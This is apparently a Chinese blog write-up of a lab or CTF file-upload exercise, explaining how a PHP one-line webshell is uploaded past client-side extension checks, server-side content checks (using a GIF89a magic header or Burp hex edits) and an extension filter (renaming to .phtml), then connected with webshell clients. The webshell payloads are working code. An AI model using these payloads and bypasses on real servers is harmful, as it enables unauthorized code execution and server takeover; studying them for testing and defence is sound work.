文件上传漏洞

情景介绍

要求的是传图片,将一句话木马<?php @eval($_POST['6']);?>写入文件然后试着传一下.php文件试试(并抓包),结果会被前端检测到上传的文件格式图片(客户端javascript检测,检测文件扩展名)。改包改成.jpg格式再放包,结果提示不能出现<?(服务端文件内容检测,检测内容是非合法或含有恶意代码),然后换一个没有<?的木马<script language="php"> @eval($_POST['6']); </script>继续放包,结果后端检测到这个文件是假的图片文件(服务端文件内容检测,检测内容是非合法或含有恶意代码),要在木马前面加一个GIF98a(文件幻术头) 以达到让后端检测的时候相信这是一个图片文件。放包看到上传成功,但响应包没有所上传文件的路径(url/upload/muma.jpg),菜刀连接url/upload/muma.jpg发现不能访问,这里的问题是因为上传的文件得是.phtml格式,即图片格式绕过前端后要改包将文件格式改为.phtml。此处设计到的知识点用下面会讲。

姿势

文件幻术头

什么是文件幻术头
文件幻术头(也称为文件头、文件标识或魔术头)是文件的二进制数据中的一段特定字节序列,用于标识文件的类型或格式。它在文件的开头位置,并且通常是固定长度的。

文件幻术头的主要作用
1.文件类型识别:文件幻术头可以帮助程序或操作系统识别文件的类型。通过读取文件幻术头的特定字节序列,可以确定文件的实际类型,例如图片文件、音频文件、视频文件等。这对于文件处理软件和操作系统来说非常重要,因为它们需要根据文件的类型采取不同的处理方式。
2.文件完整性验证:文件幻术头还可以用于验证文件的完整性。某些文件格式的幻术头包含了文件的校验和或哈希值,可以用于检测文件是否被篡改或损坏。例如,压缩文件格式如ZIP和GZIP在文件头中包含了校验和,可以用于验证文件的完整性。
3.文件类型扩展名关联:文件幻术头通常与文件的扩展名(例如.jpg、.png、.bmp等)关联。文件的扩展名通常用于表示文件类型,但它们可以被篡改或者不准确,而文件幻术头提供了一种更可靠的方式来确定文件的实际类型。这对于操作系统和文件管理工具来说非常重要,可以确保文件被正确地关联到相应的应用程序进行打开或处理。
4.绕过文件类型检查:某些服务器端对文件类型的检查可能仅仅是检查文件的扩展名而不是文件的内容。你可以尝试修改木马文件的内容,使其符合服务器端允许的文件类型的文件格式。例如,你可以通过在文件开头添加合法的文件头(如GIF的文件头)来绕过文件类型检查。

常见的图片文件格式文件幻术头

JPEG文件(.jpg或.jpeg)的幻术头:FF D8 FF
PNG文件(.png)的幻术头:89 50 4E 47 0D 0A 1A 0A
GIF文件(.gif)的幻术头:47 49 46 38 39 61 或 47 49 46 38 37 61
BMP文件(.bmp)的幻术头:42 4D
TIFF文件(.tif或.tiff)的幻术头:4D 4D 00 2A 或 49 49 2A 00
ICO文件(.ico)的幻术头:00 00 01 00
WebP文件(.webp)的幻术头:52 49 46 46 xx xx xx xx 57 45 42 50,其中 xx 是文件大小的字节序列

注意这里的16进制文件幻术头是字符经过前端编码后得到的,例如GIF的47 49 46 38 39 61经过16进制转换为字符后就是GIF89a,而这个GIF89a可以直接放到木马脚本的前面,因为上传的时候前端回将其编码为47 49 46 38 39 61(这里再burp抓到的包可以看到hex)。而其他几种文件的幻术头解码为字符串放到木马脚本前面再传的时候还是不行(因为解码出来有些不是机器码所以复制的时候回乱码)这里可以直接去burp里面改16进制包(在不破坏包的情况下改木马前面的十六进制)。

响应包没有所上传文件的路径

可能原因:
1.响应包未包含上传文件路径信息:有些应用程序在文件上传过程中,不会将上传文件的路径信息直接包含在响应包中,而是在后端进行处理。这种情况下,Burp Suite无法获取上传文件的路径信息,因此不会显示在响应包中。
2.Burp Suite未正确解析上传文件路径信息:Burp Suite在处理响应包时,可能会有解析错误,导致上传文件路径信息未正确显示。你可以尝试检查Burp Suite的配置,确保已启用文件上传路径的解析。
3.文件上传路径信息被服务器端删除:在一些情况下,服务器端可能会删除或清除上传文件的路径信息,以保护文件上传的安全性。这种情况下,即使文件上传成功,Burp Suite也无法获取文件路径信息。

解决姿势1:猜:URL/upload/muma.phtml 或URL/uploads/muma.phtml

上传的文件得是.phtml之类可被服务器执行的文件

原因:成功上传并在服务器上执行木马文件通常需要满足以下几个条件:
1.文件格式:木马文件的格式需要符合服务器端允许执行的文件类型。例如,
在PHP服务器上,通常需要上传.php、.phtml、.php3、.php4、.php5等扩展名的文件;
在ASP服务器上,通常需要上传.asp、.aspx、.ashx等扩展名的文件。
2.文件内容:木马文件的内容需要包含有效的代码,可以被服务器解析和执行。例如,在PHP服务器上,需要包含有效的PHP代码;在ASP服务器上,需要包含有效的ASP代码。
3.文件上传方式:文件上传方式需要绕过服务器端的安全限制,使得木马文件可以成功上传到服务器上。这可能包括绕过文件类型检查、目录遍历漏洞、文件包含漏洞等。
解决姿势:
1.修改木马文件的扩展名:将木马文件的扩展名从.jpg修改为其他能够在服务器端执行的文件类型,例如.php、.phtml等。这可以绕过服务器端对文件类型的检查,使得木马文件可以被执行。请注意,这只是一种绕过技术,可能并不适用于所有情况,且可能违反了服务器的安全策略和法律法规。

例题

我试过了.jpg绕过前端以后改包.php传不上去试了一下.phtml可以传
在这里插入图片描述

绕过后端文件内容检测

方法一:burp改文件头的16进制

这里以JPEG的文件变换头为例:FF D8 FF,且文件上传的路径为URL/upload/muma.phtml
先在木马前面随便用一个重复的字符标记一下以便待会查找hex,应为每两位16进制代表一个字符,所以我这里用三个字符fff,然后将.jpg改为.phtml放包发现上传成功,蚂剑连接成功。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

方法一:直接在木马文件里面放GIF89a

发包过去响应提示上传成功,也就是这样可以绕过后端的内容检测,后面的和方法一样。
在这里插入图片描述

参考文献

文件上传漏洞绕过方法

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tan90degrees

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值